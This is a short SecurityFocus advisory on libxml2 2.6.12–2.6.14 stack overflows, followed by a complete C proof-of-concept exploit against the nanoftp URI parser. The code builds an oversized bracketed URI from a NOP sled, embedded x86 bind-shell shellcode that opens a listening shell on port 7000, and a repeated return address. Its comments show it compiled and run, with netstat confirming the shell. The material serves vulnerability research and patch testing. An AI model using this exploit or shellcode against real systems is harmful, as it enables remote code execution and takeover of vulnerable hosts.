87 lines
No EOL
2.7 KiB
C
87 lines
No EOL
2.7 KiB
C
// source: https://www.securityfocus.com/bid/11526/info
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The 'libxml2' library is reported prone to multiple remote stack-based buffer-overflow vulnerabilities caused by insufficient boundary checks. Remote attackers may exploit these issues to execute arbitrary code on a vulnerable computer.
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The URI parsing functionality and the DNS name resolving code are affected.
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These issues affect libxml2 2.6.12 through 2.6.14. Other versions may also be affected.
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+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
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/*
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* libxml 2.6.12 nanoftp bof POC infamous42mdAThotpopDOTcom
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*
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* [n00b@localho.outernet] gcc -Wall libsuxml.c -lxml2
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* [n00b@localho.outernet] ./a.out
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* Usage: ./a.out <retaddr> [ align ]
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* [n00b@localho.outernet] netstat -ant | grep 7000
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* [n00b@localho.outernet] ./a.out 0xbfff0360
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* xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
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* [n00b@localho.outernet] netstat -ant | grep 7000
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* tcp 0 0 0.0.0.0:7000 0.0.0.0:* LISTEN
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <netinet/in.h>
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#include <sys/socket.h>
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#include <sys/types.h>
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#include <libxml/nanoftp.h>
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#define die(x) do{ perror((x)); exit(1); }while(0)
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#define BS 0x10000
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#define NOP 0x90
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#define NNOPS 3000
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#define ALIGN 0
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/* call them */
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#define SHELL_LEN (sizeof(sc)-1)
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char sc[] =
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"\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
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"\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
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"\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
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"\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
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"\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
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"\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
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"\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
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"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
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/*
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*/
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int main(int argc, char **argv)
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{
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int x = 0, len = 0;
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char buf[BS] = {'A',};
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long retaddr = 0, align = ALIGN;
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if(argc < 2){
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fprintf(stderr, "Usage: %s <retaddr> [ align ]\n", argv[0]);
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return EXIT_FAILURE;
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}
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if(sscanf(argv[1], "%lx", &retaddr) != 1)
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die("sscanf");
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if(argc > 2)
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align = atoi(argv[2]);
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if(align < 0 || align > 3)
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die("nice try newblar");
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strncpy(buf, "://[", 4);
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len += 4;
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memset(buf+len, NOP, NNOPS);
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len += NNOPS;
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memcpy(buf+len, sc, SHELL_LEN);
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len += SHELL_LEN;
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len += align;
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for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
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memcpy(buf+len+x, &retaddr, sizeof(retaddr));
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buf[len+x] = ']';
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buf[len+x+1] = 0;
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xmlNanoFTPNewCtxt(buf);
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return EXIT_SUCCESS;
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} |